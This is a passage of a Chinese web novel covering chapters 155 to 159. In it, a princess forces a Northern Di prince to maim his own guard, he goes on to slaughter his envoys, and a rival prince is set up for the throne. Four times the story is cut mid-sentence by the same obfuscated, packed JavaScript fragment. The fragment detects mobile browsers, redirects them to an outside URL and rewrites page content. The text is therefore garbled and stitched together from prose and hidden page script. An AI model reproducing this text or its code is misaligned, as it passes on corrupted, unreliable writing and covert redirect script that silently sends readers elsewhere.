看这北狄王子所做作为还以为他是个有城府的;没想到不过受些皮外伤,又被商无忧一吓,竟语无伦次起来! 高子霖压下心中不满,这才道:“长公主此言差矣,有道是王子犯法与庶民同罪!北狄王子乃是使臣,您若伤了他便是有违国法,老臣不能对殿下的过错视而不见……” “好一个王子犯法与庶民同罪!” 商无忧薅着夏云骁的衣领,将人向前一送,高声道:“北狄人来我大辉和谈本该谨言慎行,可此人却公然在国公府门前挑衅!赵洵祖上三代皆是名将,雁荡山一战他们为国捐躯,北狄人不仅杀了人、还将他们的首级砍了下来——国之忠魂不安,大辉焉能安定?!” 张子寿点了点头,长公主这番话算是说出了武将们的心声——为国征战者死后不得安息,谁还愿为大辉抛头颅、洒热血? “北狄王子先是以老国公的人头挑衅一门妇孺,又当着众人的面绑了赵家二小姐——赵氏一族乃我大辉功臣,老太君与太夫人皆为一品诰命,便是大理寺也不敢随意拿人。” “私拿官眷,该当何罪?!” 高子霖面色微沉。 长公主竟拿住了他话中的把柄! 沉吟间,他心思百转,这便沉声道:“北狄王子行事固然不妥,可他好歹是一国皇族,又是使臣之尊,长公主也该网开一面……” 商无忧闻言不住冷笑,“本宫的性子睚眦必报,从会不对谁网开一面!” “北狄王子冒犯赵家小姐,此举无异于藐视本宫,本宫今日便要砍他一只手!” 商无忧说完一手持刀逼住夏云骁,转头朝卫真道:“拿刀来!” 卫真走上前,先是照着夏云骁大腿猛地踹了一脚,随后接过商无忧手中的短匕、将人制住;夏云骁整个人向前扑倒,福童眼疾手快、顺势狠狠一脚踩住他的右手。 “殿下,请您动手吧!” 夏云骁白着脸看着那女子举着刀朝自己靠近,心头忽的升起无尽恐惧—— 这女人疯了,她真的会砍掉自己的手…… 不行、不行! 太后说过,此番出使大辉后,他便是名正言顺的北狄储君了! 北狄未来的帝王怎能是个残废? 他心下大骇,不由抬起头求救似的望向高子霖,余光却瞥到不远处的檀烨。他心中一动,忙不迭大叫道:“且慢动手!冒犯赵二小姐的并不是本王子,乃是那个侍卫,你去剁他的手便是……” 一干北狄侍卫闻言不由面面相觑—— 没想到平日里凶残暴虐的大王子,竟是个怕死的胆小鬼! 此时的夏云骁早顾不得众人眼光,他抬起头盯着商无忧,故作凶恶的目光中分明含着一丝祈求和怯懦,忽的高声道:“吾乃北狄未来之主,第一高手又如何,矜贵得过本王子吗?!” “赔罪是吧?没问题!” 夏云骁目光凶狠的望向赵盼儿,咬着牙大声道:“赵小姐,本王有眼不识泰山,今日是本王对手下人管束不严,让小姐受惊了。本王子给你赔罪就是!” 说完,又转头气势汹汹朝檀烨道:“你这夯货冒犯了赵小姐,便用自己的手来赔罪吧!” “过来,给本王跪下!” 檀烨目光冰冷,一顺不顺的盯着狼狈不堪趴在地上的大王子。 夏云骁愈发下不来台,恼羞成怒的吼道:“看什么看!一介贱民,能为本王子断只手乃是你的福分!父皇本就是派你来保护本王子的,本王子破了丝油皮便要你满门陪葬;如今不过是要你一只手,还算是便宜了……” 生死关头、这北狄王子竟如市井破皮般无赖,非要手下人代之受过! 在远处暗自观察的皮劫逻见状不由露出讽刺的笑容。 他目光瞟向夏云骁身旁的女子——如此耀眼的女子,竟是大辉的长公主?! 皮劫逻听说过大辉神女之事,他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649112|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象不出,堂堂金枝玉叶是如何在逼仄的永巷中度日如年的。 面对那样的**,除了把自己变成疯子,还有什么应对之策呢?! 若自己落入那般绝境,是否还有心气卷土重来…… ----------------- 高子霖欲言又止。 他知道,自己拦不住长公主。 只要那侍卫站出来,大王子便无碍了! 那侍卫会站出来的。 因为他没有选择! 所有人目光都落在檀烨身上。 即便身为北狄第一高手,檀烨的面色亦不觉僵硬起来。 是的,他没有选择。 什么护卫?! 说的好听,不过是皇帝身旁的一条狗罢了! 不听话的狗下场只有死路一条。 死他不怕,可他还有家人! 他不能连累家人…… 在所有人的注视下,檀烨终于向前踏出一步。 大辉第一勇士走到夏云骁面前,垂手俯身跪了下去…… 夏云骁这才松了口气。 好险,他这手终于保住了! 哐啷! 闪着寒光的刀丢在他面前。 “把刀给本宫捡起来!” 夏云骁不明所以的看着商无忧诡异的笑脸,感受到颈边的**的威胁,他也只得哆里哆嗦的捡起面前的刀。 卫真拽着他的领子、一把将人薅了起来。 商无忧转过头、睥睨着目中一片死寂的檀烨,低声道:“你是北狄第一高手,本宫今日便卖你几分面子——伸出你的左手!” 檀烨默默挽起袖子、依言将左手按在地上。 北狄侍卫义愤填膺。 夏云骁喘着粗气朝商无忧道:“人我给你了,长公主只管砍了他的手便是……” “大王子手下的侍卫该由您亲自教训才对,本宫若是越俎代庖岂非坏了规矩?” 夏云骁面色一僵—— 什么意思?!难不成…… 商无忧勾起唇,一手按在他执刀的手上,低声诱哄道:“劳烦大王子亲自动手吧!” 不远处马车上的皮劫逻露出一抹笑——大辉长公主,当真有趣! 第一百五十五章 这人便是你们的下场! 夏云骁脸上愈发没了血色! 砍了北狄第一勇士的手不算什么,待他回国,大可将此事全都推在辉人头上。 可若是换成他来动手,此事的味道就变了! 北狄最敬勇者,遭鄙视的都是些贪生怕死之辈;他这一刀若是砍下去,莫要说朝内群臣会对父皇如何参奏,便是今日在场的暗卫们亦会生出轻视之心。 今日若真对檀烨动了刀,他还有可能坐上那个位子吗?! 可若是不动手,大辉这个疯婆子只怕不会放过他…… 他到底该怎么办?! “大皇子到底在纠结什么?不过一个侍卫罢了,砍了就是!” 商无忧碧眸内忽的闪过一阵诡异的光,低沉的语调带着丝丝诱惑道:“砍下他的手本宫便饶了你,名声和皇位哪个重要,王子难道还想不明白?” 夏云骁抬起眼,只觉身子跌入一汪深潭中、使不上半丝力气,脑子也浑浑噩噩起来,耳边的低喃犹如咒语般灌入他的脑海,他不由自主的点了点头。 “你说的对!我要做北狄的王,阻挡我的人通通都要死!” 商无忧微勾起唇,满意的赞道:“说得好,你先砍了檀烨,再杀了背后那些看见你背信弃义的暗卫,便没有人会把你今日的所作所为告诉北狄皇帝了……” 夏云骁笑了笑,附和道:“对,杀……” 檀烨看着大王子握紧了手中刀,毫不犹豫的朝他挥了过来—— 噗! 一阵钻心的疼,檀烨的手掌与手臂瞬间被刀身分离,他捂着断肢悲哀又愤怒的吼叫起来—— “檀大人!” “快叫军医来!” …… 高子霖见状轻声叹了口气。 这北狄大王子当真不智啊! 檀烨乃是北狄第一高手,有他保驾、只要夏云骁不怕死,敢和商无忧拼上一拼,未必不能全身而退。 可如今…… 唉! 商无忧碧眸一凝,她眨了眨眼,眸中如漩涡般汹涌澎湃之气渐渐淡去,夏云骁这才呆呆的回过神—— 他抹了把脸上飞溅的鲜血,檀烨染血的左手赫然落在他脚前;看着一众愤怒的暗卫,夏云骁后知后觉的低头看着自己手中的刀—— 这、是他做的?! 怎么会、怎么会? 他没想动手的…… 看着几乎昏死过去的檀烨,他心头忽的涌上一阵惊恐—— 没了此人护卫,出使大辉只怕凶多吉少。 不成、檀烨不能死! 思及此处他忙不迭大吼一声:“来人,快叫军医来,决不能叫他**!” 几乎要痛晕过去的檀烨恍惚间又燃起一丝希望—— 是了,大王子从小娇生惯养,从未受过什么罪,王子是被今日辉人的手段吓住了,他是北狄未来之主,并非贪生怕死之徒…… 夏云骁疯狂的怒吼:“快给他止血!好歹是北狄第一高手,便是只有一只手,也能护本王子安全……” 檀烨苦笑一声! 他在期盼什么呢?! 大王子这种人,怎么会将他的生死放在心上? 在皇室眼中,他不过是一只会撕咬敌人的野兽,若是没了爪牙还有什么用…… 眼前渐渐模糊,恍惚间害他丢了左手的那位大辉公主目中似含着悲悯,直直朝他望了过来! 檀烨自嘲一笑—— 那人也觉得他是个可怜虫吧…… “大王子,檀大人对您忠心耿耿,您怎能如此对他?” “是啊,我北狄勇士无惧生死,您如此行事实在让属下寒心!” …… 夏云骁转过头,但见太后派来服侍自己的仆从正皱着眉,眼中似是带着丝指责! 哼,他就知道,这人不过是太后派来他身边的细作! 一个贱婢,也敢瞧不上他这一国储君?! 杀,都该杀! 夏云骁一边想着,手中的刀便朝围在檀烨身边的侍卫砍去;侍卫没想到大王子会对自己动手,他人一愣,夏云骁的刀便正中他脖颈—— 噗! 咚! 侍卫的身躯轰然倒下,温热的鲜血溅了夏云骁一身一脸,他却恍然未觉,转身朝太后派来的人走去。 那人慌了神儿,身躯不断向后退却,口中道:“殿下您是疯了不成,小人可是陛下派来伺候您的,您若杀了小人,陛下定是要怪罪的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649113|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噗! 看着刺入当胸的刀,那人不甘的瞪大双眼,一手指向杀红眼的夏云骁道:“你、你竟敢……太后不会放过……” 夏云骁不待他说完便抽出了刺入他胸膛的刀。 “只可惜你没机会说话了!” 看着那人倒在地上,夏云骁再次转过身,朝着一众目瞪口呆、惊恐万分的使团之人阴恻恻道:“谁再敢对本王子出言不逊,这人便是你们的下场!” “王子殿下,您这是做什么……” 不明真相的北狄使团官员跑上前来,还来不及说完话便被夏云骁一刀砍倒,众人见状四散奔逃。 不少不齿其行为的北狄暗卫拿着刀与夏云骁对峙,夏云骁冷冷一笑,提着刀冲了过去…… “二嫂嫂,他这是怎么了?” 赵盼一脸惊恐的凑到商无忧身边,一把拉住她的袖子道:“他怎么拿刀去杀自己人,是不是疯了?” 商无忧撇了撇嘴,“本宫不过略施小计,谁知他竟不管不顾的**灭口……” “你别怕,他再疯也只敢对自家人动刀,叫他杀就是了!” 赵盼只觉后怕,忙拉着商无忧道:“二嫂嫂,咱们快回去吧。” 商无忧摇了摇头,“你爹和爷爷的首级还没拿回来,这事没完!” “二嫂嫂,首级我们不要了,你莫要再以身犯险了……” 闻言,被众人护在身后、僵着脸的史太君将眼一瞪,大声道:“那是我儿子和丈夫的人头,怎能不要?” 赵盼几乎哭了出来,她红着眼转头道:“老祖宗,不能叫二嫂嫂再冒险了!她的伤还没好,若是出了事咱们怎么向二哥和陛下交待啊!” 史太君闻言铁青着脸看了看一脸默然商无忧,一声不吭的转过头。 福童见状狠狠朝史太君瞪了一眼—— 死老太婆,就会拿他家殿下当枪使,事后偏又不认账,当真可恶至极! 商无忧对史太君不以为然,她朝赵盼儿露出个安慰的笑,轻声道:“你放心,种善因得善果——我帮了旁人一把,也该是那人投桃报李的时候了!” 说着她露出抹明艳的笑容,朝身后国公府大门的方向高声道:“玄王殿下,你说是吧?” 第一百五十六章 这北狄皇位,非玄王殿下莫 斩向檀烨左手的那一刀似是打破了夏云骁心中的一道闸门! 身为北狄皇长子,他自小便被教育可以随意诛杀贱民,自他六岁时放獒犬咬**第一个奴隶起,他就再也禁不住心中杀戮的欲望;可年纪越大、地位越高,他受到的束缚也就越多。 父皇总说什么“为君者需恩威并施,不可残暴不仁。” 可他天生就是一副残暴心肠,便是寻常臣子在他眼中亦如蝼蚁一般! 如今他的真的面目已被众人知晓,已经到这地步、谁也不能阻挡他登基之路! “夏云骁,还不住手!” 夏云骁正杀得兴起,忽听身后传来一阵熟悉的声音,他心一惊,忙不迭的转过头,不敢置信道:“玄王叔?!您怎么会在这儿……” 玄王夏逸冷哼一声,大声呵斥道:“本王若再不现身,你还不知要闯出多大的祸!” 夏逸乃先皇爱子,生母又是出身于五部王旗之一的白氏一族,若不是后来当今太后掌了权,如今坐上这北狄皇位指不定就是他了。 新皇登基后玄王为太后所忌惮,但皇帝却对他颇为倚重,北狄文武官员也对之十分敬重;今日大王子虽倒行逆施,可他毕竟是王子,便是为了保命也无人真敢伤他性命,如今一见玄王,众人忙不迭围上前来诉苦—— “玄王殿下,救命啊!” “王爷,大王子他中邪了,竟对我等下了**……” …… 夏逸叹了口气,朝面露惊慌的众位使团成员道:“诸位莫要担心,这一路山高路远,大王子也是辛劳太过,加之在大辉长公主处受了惊吓,这才得了失心疯……” “免为再生事端,赶紧叫人将大王子请下去,让人好好照顾,莫要在此丢人现眼……” 使团众人面面相觑,一时间无人敢动。 夏逸见状将脸沉了下来,他面色冷峻的环视众人,低声喝道:“王子失心疯了,再不将人带下去,指不定还要有多少人遇害,本王乃是皇帝陛下亲自任命的正使,处置使团突发状况乃之权所在,尔等莫不是要抗命?!” 他看了看面前左右为难的一众使团卫士,冷冷朝身后招了招手,口中吩咐道:“速速将人拿下,若他反抗你们便用些手段……只一条,千万莫伤了殿下性命!” 闻言自玄王身后冲出十几名暗卫,朝夏云骁冲了过去。 这帮人下手毫无顾忌,几下便将夏云骁手中的刀打落。 见状,使团中一人迟疑道:“玄王殿下因何在此,又为何从宁国公府中出来?” 夏逸抚了抚身上尘土,“本王奉陛下之命先尔等一步入京都,因曾在司命祭礼上助长公主诛杀蛟妖,今日特过国公府与长公主一叙,谁料尔等竟在此生事……还好本王来得及时,如若不然大王子还真要将咱们北狄人的脸面都丢尽了……” 自打玄王出事后,太后便下旨将大王子任命为正使,可如今玄王殿下平安无事,看来他刺杀大辉皇帝一事是讹传,既如此玄王才是使团当之无愧的正使! “混账,你们竟敢绑住本王子?” “夏逸,你令暗卫对我出手,是想弑君**吗……” 大王子果然是疯了! 还没当上皇帝,这“弑君”二字从何而来? 夏云骁毕竟是大王子,又是未来的储君,使团中人见状便朝夏逸道:“王爷,如此对待王子真的好吗?王子为君,我等怎好将人绑起来……” 夏逸横了他一眼,不咸不淡道:“说的有理!来人,给大王子松绑,然后将人放进这位大人车里,以后王子便由你照顾,若是日后陛下问起来,大人便亲自向陛下交代吧……” 将人塞进他车里? 他还有命在吗?! 那人听罢忙道:“微臣失言,王爷处置得宜,微臣拜服!” 夏云骁犹自挣扎不已,口中大骂不止:“夏逸,你这狼子野心之辈,竟敢私扣储君,该当何罪……还有你们这帮见风使舵的叛臣,还不将本王子放了,是想被诛九族吗……” 众人看着倒在地上的檀烨和一众侍卫,不由怒从中来。 夏逸亦不与之多言,朝身旁侍卫道:“王子殿下疯言疯语扰乱人心,去将他的嘴堵上……” 北狄众人看着被堵住嘴的大王子被玄王的侍卫拖到了后面的车上,这才长出了一口气。 “今日事已毕,高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649114|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相可以回府了!” 听着讽刺道话语,高子霖这才抬起眼,朝着直视着自己的夏逸道:“大王子得了失心疯?本相瞧着可不是这么回事……” 夏逸闻言冷冷道:“夏云骁的事是我北狄内政,就不牢高相费心了!” 说罢他转过身朝着张子寿道:“车骑将军,本王可以带使团离开了吧?” 张子寿闻言目带询问的望向商无忧。 商无忧便道:“请玄王借一步说话!” “长公主还有什么吩咐,便请讲吧!” 夏逸来至商无忧面前,用只有两人能听到的语调轻声道:“殿下放心,答应你的事本王一定做到——待本王回到北狄一定尽快将皇后金印的下落传回来。” “你当我不知你在想些什么?” 商无忧呵呵一笑,“王爷心里其实十分怨恨本宫吧?!” 玄王看了看她,轻笑道:“不就是最狼狈的样子被殿下看到了吗,这又如何?本王听说殿下在永巷时还与恶犬争过食,满宫侍婢皆可见证,难不成殿下一朝翻身便要将他们都杀了?” 商无忧勾了勾唇,“说得对。不过此番玄王可是欠下本宫一个大大的人情,王爷预备怎么还呢?” 夏逸漫不经心的道:“不就是将本王放出私牢?北狄使团入京,你家陛下早晚要放我出来。殿下何等大气,怎地连这样的顺水人情也要讨?” “本宫说的乃是你北狄的至尊之位!” 夏逸神态一凝。 商无忧继续道:“北狄使团如无头的苍蝇,若不是玄王殿下您力挽狂澜,北狄多年积攒下的威名只怕要付之东流!如此盖世奇功,北狄皇帝怎可视而不见?” “本宫知道大王子乃是皇帝内定的储君,您今日所作所为、依他的品行可会轻易放过?” 她语带深意道:“得了失心疯的人,往后也难痊愈,这样的人怎配为君?!” “北狄皇帝诸子中唯大王子能力出众,没了他,皇帝要到哪里去寻继承人?!” 商无忧朝着眸色深沉的夏逸绽出个灿烂的笑。 “有道是兄终弟及,本宫以为这北狄皇位,非玄王殿下莫属!” 第一百五十七章 满盘皆输 商无忧这番话在夏逸心头掀起滔天巨浪,他一时思绪万千。 夏逸默默注视了商无忧半晌,这才点了点头道:“长公主的话夏逸记住了!” 见他如此上道,商无忧索性再添一句,“那夏云骁得罪了国公府,这笔账本宫要跟他慢慢算;你不方便动手,还是我来吧!” 夏逸摇了摇头,“我身边有皇帝和太后的眼线,此事咱们都不适合动手。” 说到此处他语带冷然道:“将一个人弄成疯子的办法多得是,夏云骁生性残暴,有的是人盼着他垮台……” “来人,将老国公的首级取来!” 使团之人现在唯夏逸马首是瞻,闻言忙不迭将赵洵父子的首级恭恭敬敬的奉上。 “此物殿下守好,全当是本王报答公主救命之恩了!” 商无忧示意赵盼将漆盒接过,转头朝夏逸道:“你我利益往来,不过各取所需罢了,谈不上什么恩不恩的……” 夏逸苦笑一声,“好歹本王也曾豁出性命去救过殿下的,殿下如此说倒叫本王无言以对了……” 他抬眼深深看了眼商无忧,忽的轻声道:“要争那个位子必要不择手段,我亦不能免俗。往后的日子,殿下多保重吧……” “本王告辞了!” 张子寿看着夏逸的背影,忽的高声道:“本将军送王爷一程如何?” 夏逸默了默,“随你!” 说罢这才头也不回的上了夏云骁的轮车。 商无忧则朝张子寿微微颔首—— 他这是怕北狄人再闹将起来,这才派兵压着他们去四方馆呢! 赵盼看着失而复得的漆盒喜极而泣,拉着商无忧的袖子道:“大姐,祖父和父亲终于可以安息了!” 赵子芳亦红了眼,她上前一步朝商无忧拜道:“多谢殿下!今日若没有殿下出手,北狄人断不会将父亲的首级归还。还有小妹……妾身多谢殿下!” 商无忧虚浮了她一把,“这并非都是我的功劳,若没有车骑将军的兵马压制,还没等我出来,子芳便被北狄人带走了……” “公主殿下!” 太夫人李氏在婆子的搀扶下快速来至商无忧面前,俯身拜道:“臣妾叩谢殿下!” 商无忧见状忙道:“太夫人折煞本宫了!” 李氏抹了把眼睛,犹自激动道:“殿下您何必过谦?今日若没有您,莫要说夫家和公公的首级,臣妾怕是连自个儿的女儿都保不住……虽说大恩不言谢,可臣妾除了感激,竟也没旁的可以酬谢殿下!” “臣妾带一家老小给您叩头了!” 李氏是个实心眼儿,当真便以头触地朝商无忧磕了起来;商无忧忙不迭将人扶了起来,轻声道:“太夫人这便见外了。母后去的早,我从小到大也没穿过几双她亲自做过的鞋,您若不怕麻烦,便替我多做几双,您的手艺我喜欢的紧!” 李氏喜极而泣,忙道:“不麻烦、不麻烦,只要殿下喜欢就好……” “扶太夫人和二位小姐回去吧!” 商无忧朝福童吩咐完,这才转头朝一顺不顺盯着自己的高子霖道:“高相既对本宫如此感兴趣,是不是想留下来用个便饭?只可惜本宫身子未好,眼下亦无心待客,丞相还是改日再来吧!” 长公主言语之间逐客的意味如此明显,高子霖怎会听不出?! 看着那她决然离去的背影,高子霖不由暗叹—— 一朝踏错、满盘皆输! 此番在国公府前的布置可谓机关算尽,他算到了商无忧会出手助赵家,却没想到她会那般决绝,也没想到北狄大王子会突然对自己人挥下屠刀! 更让他没想到的是夏逸—— 他按照“那一位”的要求寻了这位北狄玄王许久——从天牢到宫中,他几乎将京都城翻了个遍,没想到人竟藏身在国公府! 不管此事是赵元婴所为还是商无忧所为,始作俑者必是皇帝无疑! 对夏逸的处置他明里暗里问了陛下许多回,都被陛下含糊其辞的挡了回来;他身为丞相,玄王的下落陛下却有意瞒着他,莫不是对他起了疑心?! 天牢中的刺杀究竟是怎么败露的、动手的小吏后来又去了哪里? 虽然此时并非自己亲自授意,可陛下顺藤摸瓜便能查到策划此事的其实是他的人——虽然“那一位”答应过会保自己无虞,可陛下是多疑之人,高子霖近来明显的感受到皇帝对高氏的提防—— 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649115|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋位陆贵嫔到夺炯儿的戍卫之权,再到近来校事府内权柄的游移,陛下对高家是越来越忌惮了! 高子霖忽然想到陈氏一族的下场—— 陛下对外戚下手极重,他不能不早做防备! 想到此处他转身上了马车,朝高业吩咐道:“去成王府!” ----------------- 国公府门前终于变得冷情。 史太君苦撑了半日,此事再坚持不住,眼前一黑、人便向后倒去。 “老太君!” “祖母!” “母亲!” 众人见状登时便乱了阵脚,商无忧眉头轻皱—— 这老太婆虽说平日里对自己颇有微词,态度也不甚恭敬,可她到底是已故老国公的发妻,又是赵元婴的亲祖母,总不好真的眼真真看着人**,这便干净利落的朝一干人等吩咐道:“乱什么?老太君不过是年纪大了,今日又受了些气,一时耐不住也是有的!” “王嬷嬷,赶紧叫上几个身强力壮的先将老太君抬回去,再派人去请张大夫过来看诊;若还是不行就拿本宫的腰牌,去宫里请父皇身边的太医令邹大人过来!” 又转身朝李氏道:“眼下元婴不在,府中老的老、小的小,一家子竟全靠太夫人撑着呢,您万不可自乱阵脚!” 李氏这才稳了稳心神,低声道:“家里的事我还按得住,可朝政上的事我不懂,全凭殿下吩咐便是!” 商无忧看她镇定下来,这才道:“先将老国公父子的首级送入祠堂供奉,待赵元婴回来再定入殓安葬之期;今日北狄人对子芳动了手,未免日后有人拿此时说项、损了国公府女子清白,咱们需早做打算。” 说着便看了眼赵子芳。 赵子芳会意,忙道:“殿下放心,事关国公府女眷的名节,妾身知道该怎么做!” 商无忧点了点头,这才道:“既如此本宫就放心了。刚刚与北狄人的一番冲突涉及朝政,未免有心人恶人先告状,本宫要亲自入宫一趟向父皇禀明情由。” “本宫这就起身,府中事便拜托给各位了!” 李氏坚定的点了点头,“殿下放心,国公府绝不给殿下添麻烦!” 第一百五十八章 国公爷回来了! 赵元婴的马与礼部侍郎邹偃的马车并行,回城的路上二人边走边聊。 邹偃道:“都怪下官失察,害的宁国公白跑了一趟……” “这事怪不得邹大人!” 赵元婴轻轻摇了摇头,低声叹道:“你我不过是按陛下指示办事,谁知道校事府的消息有误,咱们此番竟扑了个空!北狄于南诏太过狡诈,所谓会盟不过是掩人耳目的假消息罢了!” 邹偃闻言亦颇觉无奈,忍不住低声抱怨道:“校事府是怎么搞得,使团入京这样的大事他们也敢弄错?!校事府统领究竟是干什么吃的……” “邹大人慎言!” 赵元婴低喝一声,抬眼朝周围看了看,这才小心翼翼道:“校事府耳目遍布天下,说不定你我此时身边便有他们的人。那位统领又手眼通天,若是得罪了他,您这礼部侍郎还要不要做?!” 邹偃一凛,这才悻悻住了嘴。 他朝赵元婴瞟了一眼。 经过这几日的相处,他对这位新任的宁国公观感极佳—— 家势高、出身好,性格又平易近人,难得的是没有公卿侯爵的架子!若不是受父亲所累,他本该是这京都城中炙手可热的高门世家择婿人选! 只可惜…… 这般标致人物竟落得个“吃软饭”的名号,怎不让人唏嘘! “国公爷、国公爷!” 邹偃正想着,忽听前方传来一阵急促的马蹄声,一个家丁打扮的人急匆匆驾马奔至二人跟前。 那人一见赵元婴便迅速翻身下马,跪倒在地大声道:“太夫人叫小人请国公爷赶紧回府!” 赵元婴眉心一跳。 他不过出门三日,府中难不成出了什么大事?! “究竟什么事,你说清楚!” 想起临出门时太夫人的告诫,家丁忙道:“小人不敢隐瞒,实是老太君身体有恙,太夫人已拿了长公主的腰牌往宫中去请太医令,又叫人将入宫谢恩的大爷请回府……国公爷,您快随小人回去吧!” 祖母! 赵元婴心下虽急,到底顾忌着如今已是官身,忙不迭转头朝邹偃道:“邹侍郎,家中祖母突发疾病,本宫得赶紧赶回府去。迎使团入京一事无功而返,陛下那边劳您替我告个罪,待祖母病情稍安我再亲自向陛下请罪!” 谁家没有妻儿老小? 他们此行扑了个空,本就没什么能向陛下汇报的,邹偃和宁国公一路相处的又颇为融洽,闻言忙道:“国公爷安心家去,陛下面前自有下官前去分说!” 赵元婴忙朝邹偃道了谢,这才急匆匆跟在家丁身后往国公府疾驰而去。 待四下无人,他这才朝家丁道:“究竟出了什么事,你实话实说!” 家丁这才将今日在国公府门前发生之事详细说与他听,临了又补充道:“太夫人说事关重大,断不可让外人知晓;不过小人也没撒谎,经过一日的折腾,老太君已然倒下了,张大夫瞧了半晌无果,只得让太夫人去宫中请太医令邹大人。” “小人出门时邹大人刚刚入府,也不知眼下诊的如何了……” 祖母她…… 赵元婴的心沉了下去,随即狠狠一鞭子抽在身下战马臀部,厉声道:“速速回府!” ----------------- “国公爷回来了!” 赵元婴一进门便见府中人神色恹恹,他心下愈发焦急,连衣服都顾不得换便朝松鹤居奔去。 李氏一听小儿子回来了,一颗心这才放回了肚子里,忙朝侍女慧姗道:“我估摸着元吉也该回来了,你赶紧去前头迎一迎,再将实情据实相告,莫要让他们急出个好歹!” 慧姗领命出了院子,刚走不远便遇到了急急奔来的赵元婴,忙喝道:“二爷且慢!” 赵元婴一愣,待看清来人,忙道:“慧姗,祖母她老人家如何了?” 慧姗疾步行至他跟前,压低声音道:“二爷莫要忧心,刚刚张大夫已为老太君诊治过,据他说咱们老太太并无大碍!” 赵元婴闻言皱了皱眉,“既如此为何还要去请太医?”< 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慧姗提及此事便不住赞道:“二爷是没瞧见,今日那北狄大王子究竟有多猖狂,车骑将军带来了巡城士兵,没想到竟也拦他不住;还有那可恶的高相爷,奴婢本以为他是帮着咱们驱赶北狄人的,没想到他竟长他人威风、灭辉人的锐气——丞相不仅对北狄人的挑衅之举视而不见,还拦着车骑将军不许他帮着咱们。” “二小姐都叫北狄人抓住了……若不是长公主及时出手,小姐就要让北狄绑到四方馆去了!” 慧姗说说道此处一脸兴奋,“二爷是没看见,长公主和她身旁的侍卫一出手,北狄人便溃不成军——什么皇室暗卫,还不是被公主杀了个丢盔弃甲!” “还有那猖狂的北狄大王子,他被长公主吓破了胆,先是跟狗一样趴在地上给二小姐认错,然后又发疯般朝自己人动起手,真是让人笑掉大牙……” 赵元婴叹了口气,“所以,是母亲叫你来替长公主说好话的?” 第一百五十九章 怎配做我赵家妇? 慧姗笑容一滞,小声道:“二爷,您是……” 赵元婴默然一笑,“母亲的心思自是好猜的,只是我原以为她不喜欢无忧的……” 慧姗默了默,这才道:“奴婢瞧着太夫人刚开始是有些担忧的,毕竟是长公主,又是那般名声,也难怪太夫人焦心;可太夫人毕竟是软和性子,能得一位强势如斯的儿媳妇,其实并没什么不好!” “公主性子虽桀骜,却从未对太夫人有过不敬之语,对二位小姐也是关爱有加——殿下口上虽不说,但办的事却是实打实为着她们好!” “便说大小姐和离之事,太夫人当时虽有些生气,可事后想起来却对殿下十分钦佩。” “长公主甚至连后路都给大小姐想好了——孙家最后人财两空,也只得打落牙齿活血吞,此举也算替大小姐出了口恶气。” “莫说是太夫人,连奴婢看着都觉得痛快!” 慧姗瞧了瞧赵元婴的脸色,这才继续道:“太夫人是觉得二爷和长公主过于客气了!书里都说举案齐眉、相敬如宾,可这一家子过日子、哪有舌头不碰牙的?长公主是真性情,可二爷却是温吞性子,有什么话只管放在心里,从不往外说。便是太夫人这个做母亲的也看不透您究竟想要做什么。” 见赵元婴面色并无半丝不悦,慧姗这才深吸了口气,轻声道:“太夫人说,有些话她这个做母亲的不好直接与您说,可长公主是个好女子,太夫人望二爷能真心善待长公主!” 赵元婴苦笑一声—— 原来母亲什么都知道! 他点了点头,“母亲的意思我都明白了!” 慧姗这才长出口气。 “北狄人走时将老国公的首级留了下来,眼下已送往祠堂供奉。两位老国公本就只有衣冠冢,太夫人的意思是,丧事还是要等大爷回来、您与大爷商量着办才好!” 赵元婴微一踟蹰,“北狄行事似有挑衅之意,虽说父亲和祖父终于得了全尸,此事还是当告知陛下一声才是……” “二爷放心,长公主在北狄人走后便已亲自入宫去见陛下了!” 赵元婴点了点头,“殿下果真睿智……大哥还没回来,你先带我去看祖母吧!” ----------------- 史太君只觉胸口钝痛,连呼吸都十分难过。 